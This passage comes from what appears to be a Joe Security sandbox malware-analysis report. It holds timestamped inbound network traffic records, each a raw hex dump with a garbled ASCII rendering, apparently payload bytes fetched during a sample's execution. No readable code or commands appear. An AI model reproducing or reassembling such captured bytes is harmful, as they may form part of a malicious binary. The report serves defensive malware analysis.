fe 1b 9a 4a ef 3f 05 1c e8 70 9b 49 a4 4c 83 4c 85 45 36 f9 28 57 8c 11 a0 23 c6 83 54 f5 2d 80 9f 22 d5 ca 22 51 a2 eb db
fb 58 2b 7f 63 0c 4c 50 af 92 9e 31 e6 2c da d9 f1 af e0 35 a8 3d 44 0d 8c 76 66 6d ca 90 24 45 f7 35 b2 a3 ac 0f a7 3e 92 
38 2d df 78 ca a0 75 27 78 a0 f6 33 7d b3 c5 bc 98 2e 51 48 9b 07 60 56 5e c7 f1 9b ec 61 a3 5c cc f0 b7 87 d8 28 e4 41 
1a 45 f3 da c0 e4 8a ee 94 80 94 7e e9 a3 14 bd 
Data Ascii: !(K"<IK]}>^Undt6A1>&AYv=J]D%*F7?=U5g ADyJ?pILLE6(W#T-""QX+cLP1,5=Dvfm$E5>8-xu'x3}.QH`V^a\(AE~

2022-01-14 11:23:08 UTC 3910 IN Data Raw: ce 6f cb 6a a5 d5 f4 87 69 e3 2e 57 6f 59 9a 08 39 71 20 ac 40 24 e7 5e c4 92 89 f8 dc 73 ed b5 9c 52 f9 3f 7d 
f9 09 67 9e 37 89 53 e1 07 dc 77 be d8 07 bd 27 64 61 7b be 22 f2 f2 43 2e c4 22 94 f7 9e 1d c8 0b 8f 09 a7 9d 0e c4 33 
51 4f 30 13 b1 8d 16 14 47 52 16 ed 5d 6c ea 17 79 49 96 56 f6 9c 32 c7 e9 83 b4 65 94 18 11 7b 23 7f 2d 99 76 cb 34 1a 
bc c1 74 cd b6 ea a6 9f 70 6f 14 2b 8a 39 7d 11 1f cf 6e 20 a9 ed 61 c6 14 5c dd 86 f4 55 cc 68 b3 52 18 00 fb f2 e7 26 ab 
97 0c 29 ca 7a 82 ca 2c 00 d6 c3 18 c2 7e 61 f8 85 9a 42 d5 27 98 2c 55 7e 41 45 ee 4c 93 7a 71 ae bb 06 c9 4b b4 1c 4a 
5a 14 3a 08 98 fc ea 0c c1 6d d5 5f 52 71 44 c5 fa 92 84 4a 07 57 ce 21 ba 04 82 7d 52 ad 53 80 20 e9 22 a6 4d 8a 67 45 
11 46 d3 66 6c ca c2 ca 5c b2 6c 0b 0e 55 e8 6d ba 
Data Ascii: oji.WoY9q @$^sR?}g7Sw'da{"C."3QO0GR]lyIV2e{#-v4tpo+9}n a\UhR&)z,~aB',U~AELzqKJZ:m_RqDJW!}RS 
"MgEFfl\lUm

2022-01-14 11:23:08 UTC 3926 IN Data Raw: 86 8f bb 4d 1c 82 4d 5d f6 cb 85 1c ec ae 8e 17 a5 fc ee 28 29 3b 22 e4 66 b3 c9 87 42 7a 9a 3c 1c e0 8d 4b 86
ac c1 d9 7b 65 30 10 a5 a0 a6 f8 be 0d 37 17 43 7e db 9a 6a 6a a2 36 b3 51 ab 74 d7 c7 2e 28 28 df 02 33 46 5b d8 43 d6 
b9 58 6e 00 8a fd a9 50 7b e9 16 d3 21 3d 33 6e 84 74 f5 04 df 5e f6 e1 43 26 56 6c a3 6c f2 e7 25 e9 95 c8 4f 36 e1 80 
18 57 02 9f 0f e7 e4 e7 d2 9c a6 6f f1 ac 09 c0 d2 23 a9 87 ba 85 5d ea c9 5b 5a 76 f9 8e af e5 1b ee 08 f9 7d e3 b3 7e a7 
9a 17 09 04 d5 53 cf 22 24 16 87 2d ea a4 e7 19 50 25 d4 69 22 f2 d3 62 5d b7 a4 0f e8 70 35 33 a9 1a fc 00 0d b1 1d d9 
8a 10 5e 25 53 1f b0 f2 2b 1b 76 17 f2 6e 9b 64 77 f3 10 1e b9 ec 95 dc 90 b1 ae fa cc d1 52 3b de 44 de 38 c1 0c 16 4e 
5b 45 94 37 e5 42 c6 e8 9d be b3 f5 77 89 de 67 7b 
Data Ascii: MM]();"fBz<K{e07C~jj6Qt.((3F[CXnP{!=3nt^C&Vll%O6Wo#][Zv}~S"$-P%i"b]p53^%S+vndwR;D8N[E7Bwg{

2022-01-14 11:23:08 UTC 3942 IN Data Raw: 44 e7 67 e1 01 fa f7 a1 f5 88 40 b4 53 86 6c 7f 27 a2 75 eb 4c 58 aa 99 64 2d e1 99 ad 18 da 8a a5 a2 58 4c 
98 06 dd 5a 6e b8 8c 11 aa 77 56 24 4f b2 88 27 b4 b8 9c dd d8 10 f5 d2 b7 85 26 82 73 4b 47 44 9c ae 48 a8 22 cb 38 05 
d2 94 f0 54 22 9e b1 ef 81 1d 09 ba 70 4c d0 a5 4c 19 a3 19 92 25 c8 dc 2c c0 4b 59 a4 44 4b 5c d0 07 1c 85 97 de a2 33 
d1 9a 0b 7d fd 50 8c 0a 53 c6 f8 36 f5 4a 87 ba ab 1a 7f 34 8b 3f ec 17 c6 45 a7 da 52 23 4d 7b d1 f0 e7 01 1e 32 26 1a 
13 3e e9 d3 c1 aa b7 fd 67 6b 02 19 77 e1 44 7b 59 3e e2 a5 57 e3 c1 60 31 26 2e a3 6f 11 5e 5c 1f 7d 3c 3d 7c 5d 7c 46 
6f a3 a1 0d 6a 75 12 f5 7a c7 c9 80 71 db 1d d4 f5 24 e9 24 e8 52 f4 38 5d e7 03 8c 65 9a 72 7e 31 e2 01 ec 2a 29 d3 88 
18 cf 80 08 3b bd ef 9a bd 8d 35 05 c1 64 c2 37 05 c6 94 
Data Ascii: Dg@Sl'uLXd-XLZnwV$O'&sKGDH"8T"pLL%,KYDK\3}PS6J4?ER#M{2&>gkwD{Y>W`1&.o^\}<=|]|Fojuzq$$R8]
er~1*);5d7

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2022 Page 103 of 119



2022-01-14 11:23:08 UTC 3958 IN Data Raw: 76 90 af 25 ac fe 6f 04 ff b4 3e 0c 64 39 90 c6 1c e7 f3 a9 24 58 43 87 4a 58 ce 33 ba 75 6b 0e 19 e6 09 80 08 
58 ee e7 c9 94 4b a5 c5 89 71 a2 ab 4a 6d 88 95 4e b5 9f 83 dd 76 dc 7e 76 95 3f 0a 4b 80 d8 46 0e 15 71 e2 45 12 1d 05 
69 d7 66 0a df a8 5a 2e 4e 30 2a 9c 30 2d b5 c2 d7 9e 70 b5 50 70 26 b6 5c f4 68 3b b9 55 c0 42 06 95 ba 76 18 ee 3b 3f 
f0 8a be 3e 65 d0 1d b4 62 86 d1 f8 84 25 b4 5c 8f 8b a7 22 bb 5d 06 41 b2 b1 42 4a 33 e7 02 dc 22 96 2c 20 ed ef 67 e0 
fa 0a 0c 61 68 c0 8b 00 9f a3 9f 3d be 88 75 a4 8e cb bc b4 23 7e c8 eb db 27 8d bf 51 6f 11 ed bb e1 73 b5 c0 9f 71 a4 87
1c da 6a 7b 37 f8 bd 06 d9 10 f3 85 6c d9 96 15 85 b2 f3 30 bf 14 da 85 41 40 37 2d 8f 99 40 62 5d 05 54 da cf e3 55 71 
d8 b6 41 57 f2 3d 9a 91 61 f0 3c bf 73 b1 70 d0 c0 
Data Ascii: v%o>d9$XCJX3ukXKqJmNv~v?KFqEifZ.N0*0-pPp&\h;UBv;?>eb%\"]ABJ3", gah=u#~'Qosqj{7l0A@7-@b]T
UqAW=a<sp

2022-01-14 11:23:08 UTC 3974 IN Data Raw: d5 76 87 9a 44 01 1c 5b c3 30 db 1a ae 5e eb 09 cd 70 2e 90 5d ff 13 ad 2c 06 74 d6 54 92 71 52 1c d8 36 08 
b6 a1 bf 6d c6 24 a5 0f 67 99 60 37 32 08 6b 4c 55 53 ca c4 91 d1 0d b5 17 75 66 bd ca bc ad 8f fa 06 f0 8c 2e 66 a4 00 
50 d1 79 97 03 06 bb a8 4e 38 a0 40 5e 2f c7 b5 5f 50 92 cc eb ae 3c f7 10 fa 6d b8 7d 17 4b 42 6f 37 b1 21 25 0b a8 f2 
3b 1e 8b a0 98 79 9d a6 52 d0 76 00 e8 d7 eb 31 0e d1 2c 34 c5 49 ef b2 0f 8d b5 76 2f df c3 b0 12 ba a2 fb 44 ac e7 59 
99 0b c6 1c bd 7a 65 8a 4f e2 68 2b c7 9d 3b c3 53 cb d6 e4 8c 67 13 e6 f2 91 97 b7 66 11 63 8a db 2b c3 78 80 0a 60 cd 
57 f8 94 c5 9f 26 f3 c0 26 d3 58 09 1f 3e ac 86 e2 4f c5 e8 d1 8a 79 90 f4 be f5 3c 87 c7 c0 b3 23 62 62 0c 2c 7b d2 0d d0 
44 d4 ee 3d c0 60 0d 6c 74 19 dc de 8b 2a 8c 1d 09 37 
Data Ascii: vD[0^p.],tTqR6m$g`72kLUSuf.fPyN8@^/_P<m}KBo7!%;yRv1,4Iv/DYzeOh+;Sgfc+x`W&&X>Oy<#bb,{D=`lt*7

2022-01-14 11:23:08 UTC 3990 IN Data Raw: 30 4b 8c 42 68 36 36 31 4d 4d 30 50 77 73 6d 32 66 37 df 30 31 49 4a 62 71 56 a3 5a 31 70 3c 32 71 46 54 00 
69 61 78 6f 77 54 7d 70 7a 64 9a 6f 4f 36 99 6e 71 5a 52 50 66 6b 49 75 72 61 43 70 4c 61 65 6b 35 30 69 31 33 4f 65 63 
71 42 74 76 49 44 76 72 6a 66 2b 7b 4a 41 08 37 35 31 4f 4d 70 41 04 46 6f 32 6c 3d 76 2f 3b c4 4c 61 71 57 62 89 34 71 
32 36 59 7f 54 00 63 12 40 6f 77 5e 64 4b 7a 64 5e 67 48 1e 5a 6d 71 50 75 57 60 66 94 5e 73 61 43 72 64 66 63 6b 33 3c 
6b 46 dd 4f 6e 61 62 46 66 72 55 c9 4b 72 6a 66 15 9b 9a 41 68 32 1d 08 4d 4d 7a 23 4d 72 6f 38 09 c6 74 30 37 6f 65 72 
74 6e 9b 59 31 70 41 40 70 46 52 13 6f 70 7c 7e 73 45 49 66 15 97 54 6c 49 59 5b 6d 71 50 37 3d 67 6b 4f 64 74 70 47 
61 49 78 0c 98 35 30 6a 5a 0e 4f 6e 6d 1e 2d 76 76 4f 55 72 
Data Ascii: 0KBh661MM0Pwsm2f701IJbqVZ1p<2qFTiaxowT}pzdoO6nqZRPfkIuraCpLaek50i13OecqBtvIDvrjf+{JA751O
MpAFo2l=v/;LaqWb4q26YTc@ow^dKzd^gHZmqPuW`f^saCrdfck3<kFOnabFfrUKrjfAh2MMz#Mro8t07oertnY1pA
@pFRop|~sEIfTlIY[mqP7=gkOdtpGaIx50jZOnm-vvOUr

2022-01-14 11:23:08 UTC 4006 IN Data Raw: 7a 62 7e 6c 4f 36 27 11 71 5a 5a 50 66 6b db 74 72 61 ef 70 4c 61 5d 69 35 30 60 35 33 4f 6e 67 71 42 77 76 
49 44 c7 72 6a 67 a9 4a 4e 41 24 34 35 31 4e 4d 70 50 75 72 6f 33 64 37 74 30 97 49 73 61 c6 57 47 59 6c 72 32 32 7f 46 
54 00 69 61 7a 6f 75 54 4c 70 46 64 54 6c 73 34 66 6d 09 58 58 50 6c 6b 49 75 72 61 43 70 4c 61 63 6b 33 30 6c 35 4d 4d
6e 67 f5 40 77 76 4a 44 74 72 68 67 30 4a 55 71 6f 36 8e 31 4d 4d 5f 50 77 63 70 3d eb 08 74 30 30 6c a3 6e 70 56 43 71 
08 70 32 38 02 7c 54 00 63 6b 7e 00 55 54 4c 7a 71 1a 49 6c 4f 3c 6a 6a 1e 31 58 50 6c 70 c4 4a 72 61 42 55 9c 88 63 6b 
31 18 55 35 33 45 1d 5d 71 42 7d 5e 76 44 74 78 46 49 37 24 6d 41 68 3c 22 bc 71 4d 70 51 52 64 74 bf 59 37 74 31 14 
99 9a 61 71 52 6f 60 31 70 38 41 4b 46 54 0a cb 76 15 21 77 
Data Ascii: zb~lO6'qZZPfktrapLa]i50`53OngqBwvIDrjgJNA$451NMpPuro3d7t0IsaWGYlr22FTiazouTLpFdTls4fmXXP
lkIuraCpLack30l5MMng@wvJDtrhg0JUqo61MM_Pwcp=t00lnpVCqp28|Tck~UTLzqIlO<jj1XPlpJraBUck1U53E]qB}^vDtxFI
7$mAh<"qMpQRdtY7t1aqRo`1p8AKFTv!w

2022-01-14 11:23:08 UTC 4022 IN Data Raw: 4e 41 92 15 35 31 68 4d 7d 50 26 72 ee 33 76 37 4e 02 31 49 7a 61 7c 56 12 59 b0 71 22 32 c3 7b 54 00 60 61 
77 6f 2e 54 4d 70 6a 64 9e 5c 4f 36 6f 6d 7c 5a 05 50 e7 6a 59 75 28 4a 43 70 45 61 6d 6b 4d 30 6f 14 23 4f 9c 7e 71 42 
7e 76 47 44 0e 72 eb 66 30 4b 1d 7b 68 36 3c 31 5d 4d 0d 50 76 72 7f 32 50 06 74 30 49 49 66 61 0f 56 44 58 21 70 ac 33 
71 46 5d 00 7c 61 e2 6f f4 55 5c 70 2a 75 54 6c 46 36 70 6d ea 5a 59 50 76 6b 6e 44 72 61 3b 70 54 61 f8 6b 36 31 7c 35 
ad 4e 6e 67 78 42 6f 76 fc 44 f7 73 7a 67 60 5a 4e 41 61 36 2c 31 f5 4d 71 51 77 72 c5 08 66 37 51 30 2a 49 cb 61 f0 56 
57 59 f3 52 32 32 78 46 4f 00 d5 61 fb 6e 67 54 60 31 7a 64 5d 6c 52 36 a4 6d f0 5b 48 50 20 5b 49 75 7b 61 5e 70 8f 61 
e2 6a 25 30 92 12 33 4f 67 67 6c 42 b3 76 c8 45 64 72 da 
Data Ascii: NA51hM}P&r3v7N1Iza|VYq"2{T`awo.TMpjd\O6om|ZPjYu(JCpEamkM0o#O~qB~vGDrf0K{h6<1]MPvr2Pt0IIf
aVDX!p3qF]|aoU\p*uTlF6pmZYPvknDra;pTak61|5NngxBovDszg`ZNAa6,1MqQwrf7Q0*IaVWYR22xFOangT`1zd]lR6m[HP 
[Iu{a^paj%03OgglBvEdr

2022-01-14 11:23:08 UTC 4038 IN Data Raw: 5a 4f d9 2f 87 6c d1 68 82 56 87 6a 9a 5b c9 78 c2 72 62 49 b8 72 b4 32 5f 2a 7a 5c 8f 66 0b 60 9a 6f a8 45 2c 
55 9c 7e d1 4a 0b 69 96 2f d4 30 97 70 73 4a 96 73 37 15 6f 2d 95 31 74 61 71 64 48 54 62 71 05 6a 93 30 94 4c 04 1a 78 
63 45 48 2a 4e 75 74 0a 57 38 76 76 32 7e 4b f9 5d 61 54 2f 54 c1 72 33 65 9d 4d 3e 7b 22 6f af 0b 17 2f 7a 4b 1e 54 7b 
42 3e 72 73 64 18 68 53 63 40 78 44 41 51 32 53 70 a0 49 49 54 f1 52 82 36 2f 33 e5 29 28 5d 5a 63 c0 60 cc 43 70 74 ec 
0f e3 5c 05 04 97 4b e3 75 26 50 5f 5b e5 7e 05 68 ee 1f c0 77 b8 5a 28 63 b6 6a 28 71 e7 40 e8 6a 1d 65 aa 42 82 2a 88 
35 43 7c 64 67 fd 43 15 45 f3 40 e0 73 2f 5a 97 4f aa 41 cf 2c ff 20 24 49 00 63 81 68 ee 30 a1 10 70 2b 40 4d 03 52 7a 4d 
36 5d e2 57 27 29 e8 42 4c 1d b3 67 93 6f 07 67 46 
Data Ascii: ZO/lhVj[xrbIr2_*z\f`oE,U~Ji/0psJs7o-1taqdHTbqj0LxcEH*NutW8vv2~K]aT/Tr3eM>{"o/zKT{B>rsdhS
c@xDAQ2SpIITR6/3)(]Zc`Cpt\Ku&P_[~hwZ(cj(q@jeB*5C|dgCE@s/ZOA, $Ich0p+@MRzM6]W')BLgogF

2022-01-14 11:23:08 UTC 4054 IN Data Raw: 68 50 5c 5d 28 23 11 3d 12 72 2b 53 12 52 20 59 5c 2c 73 06 14 22 18 1a 43 15 53 46 18 29 3a 54 00 0c 1f 6f 
36 24 3c 15 14 00 18 05 21 53 66 0a 14 2e 07 1e 03 1c 05 1c 1c 04 43 33 23 0c 01 02 5b 55 6c 79 5c 2c 0f 0b 3c 23 14 1e 
20 2a 11 72 2e 06 44 2a 1e 33 07 42 50 52 39 24 1f 3e 24 11 00 42 03 37 10 51 45 28 23 13 1e 22 22 3a 45 19 5d 5c 22 
25 3b 70 0c 61 35 1f 12 26 2d 04 13 0b 3a 2f 20 58 12 08 09 2e 0b 33 09 1b 2c 75 02 12 39 32 20 0e 01 3f 4c 40 09 35 70 
27 0f 09 16 27 23 0f 39 21 74 24 0b 0b 45 2e 1a 38 18 53 35 7c 28 3e 03 31 10 17 2c 40 03 53 11 5e 45 20 12 0d 25 2f 37 
3c 31 03 57 46 2e 05 38 69 0c 0f 0e 2c 05 31 28 15 14 10 3d 0d 23 62 1f 1d 14 5a 0b 35 05 1e 3b 1c 06 18 13 02 23 15 0c 
08 5a 5c 38 4c 43 2a 6e 20 14 36 23 0f 39 21 74 15 0f 13 6f 
Data Ascii: hP\](#=r+SR Y\,s"CSF):To6$<!Sf.C3#[Uly\,<# *r.D*3BPR9$>$B7QE(#"":E]\"%;pa5&-:/ X.3,u92 ?L@5p''#9!t
$E.8S5|(>1,@S^E %/7<1WF.8i,1(=#bZ5;#Z\8LC*n 6#9!to

2022-01-14 11:23:08 UTC 4070 IN Data Raw: 5f 32 66 6c 7c 58 59 51 65 6b 49 69 76 61 43 6d 49 67 63 6a 28 35 7e 4c 36 6f 6c 6f 69 4a 7e 56 4d 56 5d 6a 
62 75 1d 57 4b 61 69 3e 27 18 49 4b 61 d0 87 76 65 32 66 37 70 45 31 49 73 75 77 43 55 64 30 65 20 b2 f0 43 46 45 7b 
e1 ff 73 6b 46 cc f9 6c 62 41 7e 72 37 73 7f f1 d7 5d 42 23 79 c9 e4 63 e1 d6 61 cc f4 7f 6d 35 31 6e 27 b3 d6 6d 67 71 4c 
72 76 4b 4a 7a 7a 6e 61 22 cb b2 46 6e 23 27 28 4f 43 72 59 71 67 7d 2b 64 25 f4 ad 33 4f 53 60 73 44 c7 c4 35 70 33 2a 
7f 43 54 02 71 79 74 69 67 55 4d 6e 7a 7c 51 6c 4f 24 e6 cc 78 5a 58 45 74 66 48 67 f3 35 4a 70 4c 74 71 66 34 22 ed 6d 
34 4f 6e 72 63 4f 76 78 40 44 76 67 78 6a 31 45 40 4f 6c 30 27 b0 45 44 76 45 65 6b 6d 20 e6 92 7a 36 11 48 7d 73 f1 f3 
44 79 31 7e 31 1a 71 48 5c 06 7c 73 6b 6e 65 d5 50 78 7c 
Data Ascii: _2fl|XYQekIivaCmIgcj(5~L6oloiJ~VMV]jbuWKai>'IKave2f7pE1IsuwCUd0e CFE{skFlbA~r7s]B#ycam51
n'mgqLrvKJzzna"Fn#'(OCrYqg}+d%3OS`sD5p3*CTqytigUMnz|QlO$xZXEtfHg5JpLtqf4"m4OnrcOvx@Dvgxj1E
@Ol0'EDvEekm z6H}sDy1~1qH\|sknePx|

2022-01-14 11:23:08 UTC 4086 IN Data Raw: 32 22 00 e7 9e 98 93 e0 05 f0 0d 00 04 58 aa af 03 5a 0f ff 00 d1 48 8a 86 41 26 2e 05 00 79 0b e8 4f 4e 5f dc 
67 07 a1 08 e9 a3 27 00 cb cc c8 1d 1c c9 d7 cf 05 cd ce db 0e df d9 00 da dc dd de df 1c e0 e1 e3 c0 e4 59 e5 58 0a 50 
00 52 51 2e 88 83 b8 4c bc 3e 5a 54 80 b2 31 46 c0 65 c9 50 00 44 1e 8f 80 25 15 10 0f 7f 05 1d d2 8b 88 41 11 89 90 4d 
06 40 85 21 cb f5 00 c6 fd d7 80 16 39 f7 77 00 13 74 2f 96 29 03 78 2a 03 f3 a5 ff 81 83 e1 c8 dd a4 21 1c 31 87 74 40 0e 
fc 43 7c 0f a5 00 05 19 11 fd 35 1a 86 cb 24 06 66 1f 30 22 98 0c 12 0f 81 c4 04 f0 e7 50 99 83 01 eb 97 f2 8a 03 43 7b f7 
00 3c 20 76 f5 0e 80 3b 22 75 21 0b 30 7b 01 21 40 60 c6 13 00 02 eb e6 4f 5f 25 ec fa 00 1c 1b 7c 43 06 05 88 14 02 04 
40 56 24 13 84 c1 54 d0 d4 f0 dc 76 58 00 29 08 
Data Ascii: 2"XZHA&.yON_g'YXPRQ.L>ZT1FePD%AM@!9wt/)x*!1t@C|5$f0"PC{< v;"u!0{!@`O_%|C@V$TvX)

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:08 UTC 4102 IN Data Raw: d0 74 7b 40 e2 00 f2 63 c2 0a e9 f1 5e 07 03 03 a1 0e eb 5f 9d a1 51 d8 eb fb fc f9 7c 60 60 4d 80 16 7d 9e 75 
00 7c ba f8 1d 89 b9 00 05 55 98 db e3 6a b1 e1 f4 2a fe 8c 01 5f 2b 03 8d 93 15 14 d7 9b 75 bb 0b 98 19 21 4a 00 01 eb 
13 60 1a e1 77 34 00 66 88 0a 46 f4 25 84 c0 1f 74 df 69 80 3b ea ac c4 67 37 75 70 00 51 06 fe b8 58 0c e9 2f 0e 0a 8b 
2c fd ef 24 20 e8 13 82 01 7e 03 1c 81 ed e3 3d 50 f7 20 55 2f 08 52 00 89 2e 32 6c 9f fc 26 b1 1e 29 30 c9 40 9d e1 b6 d4 
8d 62 00 7f f8 d8 4b 31 e2 e6 97 f2 b0 4c 55 dd 1f 14 91 c0 89 0c 85 17 93 08 75 10 00 de ca 79 03 66 bb 43 88 00 e4 54 
aa 2a 49 b9 4e 22 b8 ce 00 75 28 68 be 0b ea 0c 72 00 77 aa b1 40 2c 80 29 1e 01 27 91 16 83 70 7b 04 d8 61 2a 7a 48 
00 94 7a 96 3d 43 02 23 01 74 c4 03 39 22 bc f2 34 a2 
Data Ascii: t{@c^_Q|``M}u|Uj*_+u!J`w4fF%ti;g7upQX/,$ ~=P U/R.2l&)0@bK1LUuyfCT*IN"u(hrw@,)'p{a*zHz=C#t9"4

2022-01-14 11:23:08 UTC 4118 IN Data Raw: 0e 28 22 3f 5f 6e c0 e8 93 7a a4 16 a5 00 7d 31 94 89 30 6b 55 3d 00 8b 43 73 f4 44 51 0f ae 00 ba 10 c8 fd 6c 
14 20 48 00 81 4c 09 e2 13 d4 08 50 fe 54 07 9e 21 3d 40 58 f5 5c 4f 0f 60 e8 64 47 68 f4 6c 33 70 fa 74 11 78 fd 7c 10 d7 
82 df 00 bd f6 49 87 8b 47 44 d0 00 c2 c1 c8 07 98 b1 ea ca 71 12 7c 31 00 03 b7 d8 80 78 8f 8c 4c 00 f2 fe ce 50 11 14 
13 f8 7e d6 74 f3 58 3c 90 3f 1d 00 03 49 64 01 02 0d 87 fe a4 16 36 48 78 0e 30 81 80 7c a8 29 6a f9 7d b8 f4 68 0f 88 84 
64 4c c3 44 28 81 e0 4e af 39 fc 62 3a 21 48 1c 6c 88 40 64 50 78 7d 81 84 1f 0b c8 9b 5f 4c 40 70 44 8c 32 54 3c 3c 40 
b6 95 85 e4 a1 7d 00 74 22 90 19 58 1e 20 ef 00 42 8c f1 0d fa a8 c4 39 f0 78 00 21 94 91 5c e0 28 82 b8 f4 90 00 f2 46 
04 58 22 7c 11 98 06 0c 60 8f 10 61 2e 00 79 7f 
Data Ascii: ("?_nz}10kU=CsDQl HLPT!=@X\O`dGhl3ptx|IGDq|1xLP~tX<?Id6Hx0|)j}hdLD(N9b:!Hl@dPx}_L@pD2T<<
@}t"X B9x!\(FX"|`a.y

2022-01-14 11:23:08 UTC 4134 IN Data Raw: 42 8d e3 f2 de 91 f0 80 f7 d9 01 8b 14 8f 33 73 54 64 20 f4 20 16 43 34 d1 00 84 bc 03 40 41 75 60 e8 cc d4 e4 
3c 50 00 27 81 ec 56 9c 84 89 e7 00 b9 ff 43 4e 8d 70 10 99 1e 76 40 da 40 f5 06 6c 8e 0f ca 7b 89 3d c1 52 01 e8 bb 91 
34 96 b0 d0 22 9c 16 06 8e 5e 00 6d 4e cf 16 56 01 00 1e 7e 10 0f c8 c9 cb d1 e6 bc ff c0 cf 89 00 d6 31 ce 21 de 1d 03 
3c 02 24 fc 81 c1 cb 02 c0 24 37 3f 07 e4 16 89 7c c6 50 05 3b 01 f7 00 87 ce 31 de 21 b5 03 58 00 d3 48 c1 c8 c4 3a 94 
32 e2 fe 00 11 f2 dc de 31 ee 21 f6 00 03 bd 78 5b c6 4a c1 cf 00 3a 7f 8c 86 42 d6 37 f1 00 82 e3 fe 21 d8 03 5c 24 30 63 
0c 2a ca 10 3a 00 9c 33 c8 ce 46 f3 82 cf 01 d8 21 69 03 63 c4 18 8b 28 c9 3a 0c 78 52 de 03 2b f0 90 ad 5e 81 b0 91 d1 
18 0e 1c 16 87 44 80 72 0e 1d 11 20 0f c8 1e 74 e3 
Data Ascii: B3sTd  C4@Au`<P'VCNpv@@l{=R4"^mNV~1!<$$7?|P;1!XH:21!x[J:B7!\$0c*:3F!ic(:xR+^Dr t

2022-01-14 11:23:08 UTC 4150 IN Data Raw: a1 b1 0a 0c f0 38 6c 00 25 1a 8d 93 0b 7f 79 78 00 82 c7 e8 7b 09 a0 20 0f 06 6a 10 8d 50 83 5f 7f 57 00 9b be 
26 42 85 30 71 d8 00 04 c6 40 0a fb c8 7f 10 01 a1 05 14 9c 1c 08 33 c8 09 86 70 30 01 58 f6 be ef 6e d2 42 30 2f b6 00 f0
27 d5 71 b8 e3 da ee 00 df 0f 65 56 f1 e5 e0 61 0e 9e ca 2a 64 00 1c 85 a1 92 d9 07 27 43 cd fc c8 00 2e b7 9c 8e 13 55 
ec e6 00 d7 c6 99 e9 af fa 1c f3 ef 61 00 5d 47 c3 a0 de ae 01 ea 4d f6 79 3b f8 e6 c0 01 6c 07 6d 37 78 bc 5c 00 c4 c3 88 
42 26 5b 96 ba 00 07 5a 4e 62 73 58 00 a0 f7 fe 76 8f e2 b2 01 00 6d 98 90 d3 a9 ab 4c e0 38 f5 9a 00 dc 99 8b 32 77 33 
8f 00 de 18 73 4e 45 c4 12 8e e0 e4 00 fa 04 71 f3 86 78 c5 0f 00 ec 6c 50 46 c0 d0 10 99 2e 63 37 b2 00 18 b7 08 49 66 
dd 00 1f 01 97 22 3d cc b4 38 0e a6 c0 16 a7 00 
Data Ascii: 8l%yx{ jP_W&B0q@3p0XnB0/'qeVa*d'C.Ua]GMy;lm7x\B&[ZNbsXvmL82w3sNEqxlPF.c7If"=8

2022-01-14 11:23:08 UTC 4166 IN Data Raw: 69 c8 23 04 b8 84 99 8a 78 06 00 7c 5d 11 08 f6 c2 3b d9 fb 80 ae b5 4a ee cd ec 91 07 0c 13 17 8e 36 c5 6d 
07 cf 94 d5 77 24 70 01 f8 e9 42 2e aa c8 ca 00 86 0f 84 f7 c5 90 7a 08 1f 10 e1 49 00 0c 0d 19 18 f1 15 00 20 2a 6b 46 
81 5f e5 c8 03 ec c5 16 83 e0 0f 80 34 09 77 0b 06 f6 43 05 00 b9 74 3f 89 bb 0e 16 24 27 2d a0 1c 3e 17 83 c5 09 06 8b 
4f 5b 80 17 0a 46 a1 32 f6 a8 01 5c 20 c7 68 64 10 3c e4 31 25 00 f0 1d 3d 90 8a 0b 77 0e 00 46 70 74 14 cb ae 60 15 00 
a7 6f f4 a6 25 e1 aa 68 07 ac c1 0b cd 89 13 22 8b b8 30 07 b2 16 01 b3 a2 00 6b 82 83 4b 2e 40 38 d7 5a 00 ac 0e 43 08 
94 ec fb 2c 23 ed 8b 03 ff 21 9f d1 b8 0a f9 68 00 a7 4a ef 65 1f a0 a8 23 00 b4 dd 25 d6 0c 5a 62 9a 4a d3 f0 99 50 00 a6 
9d 26 7c 65 cf bc 43 07 a5 eb 20 73 29 60 56 c2 0d 50 
Data Ascii: i#x|];J6mw$pB.zI *kF_4wCt?$'->O[F2\ hd<1%=wFpt`o%h"0kK.@8ZC,#!hJe#%ZbJP&|eC s)`VP

2022-01-14 11:23:08 UTC 4182 IN Data Raw: 49 5e 58 b9 9c 73 10 0a 00 5c 26 60 09 42 eb 51 8d fc 7e 7d f3 00 3c 18 e0 69 8a 46 95 54 f8 11 00 06 3e 13 
a8 5c 1e 43 6c 3d ca 4b 87 10 9c f2 3a 59 80 05 2e 29 b4 e5 00 c3 db 32 17 04 19 3c b3 3c 46 bb 01 e2 27 18 f9 a2 5a 60 
b6 71 00 8b 43 79 04 31 78 ca 4c 92 03 01 58 4d 32 76 13 61 47 dc 2e 7c 90 00 03 39 36 d8 cd 6a 1b b8 5f b5 b6 00 8e 
3e a5 04 5a 4d 58 8f 00 d4 e2 05 29 0a d3 93 cb f4 bf 01 12 15 4c 1a 46 b3 50 30 e2 e9 1d 0d 25 bc 03 54 ea 13 dc 80 40 
05 03 00 80 78 84 22 10 01 3e 50 00 07 df f0 d2 09 bd 70 d7 98 17 00 e9 35 0a 61 1d 78 20 7a 0f 58 42 1a c6 80 44 29 9f 
72 01 e3 30 f3 fa 9d 78 54 00 bd 68 2e 82 95 73 19 06 7c 9b 00 44 af c3 89 d4 11 29 1a 1f 18 e5 cc d3 f6 0e 08 ce be 41 
90 50 51 88 8f 30 57 42 01 b8 f0 e8 e1 4c f3 1c 30 00 75 3c 
Data Ascii: I^Xs\&`BQ~}<iFT>\Cl=K:Y.)2<<F'Z`qCy1xLXM2vaG.|96j_>ZMX)LFP0%T@x">Pp5ax zXBD)r0xTh.s|D)AP
Q0WBL0u<

2022-01-14 11:23:08 UTC 4198 IN Data Raw: 5e 1e fa 6c 3a d4 d9 1f ea b8 80 18 8a 85 a1 ed 84 77 c0 00 8d 7e 0c 0a 75 13 97 fd 00 91 f6 54 2a 81 dc 85 
b5 00 83 31 ff d2 eb 10 29 27 28 07 12 f8 00 4a 97 44 fb dd 38 92 91 07 f2 05 ad ee 0a 10 29 47 e4 0c 39 54 85 00 86 87 
91 56 92 09 18 00 80 77 ca 39 ff fa 2b 44 00 4c 90 93 e8 12 d9 20 ea f4 d3 00 0f e2 b6 3e 40 03 b2 74 02 79 87 19 d6 6e 
c9 80 be c2 27 0c 48 03 ba 03 75 7f 50 da c0 45 aa 9a 00 22 e5 d2 ee 32 21 f0 e8 1c 26 74 0d c0 8b ce 06 64 7f 22 f9 40 
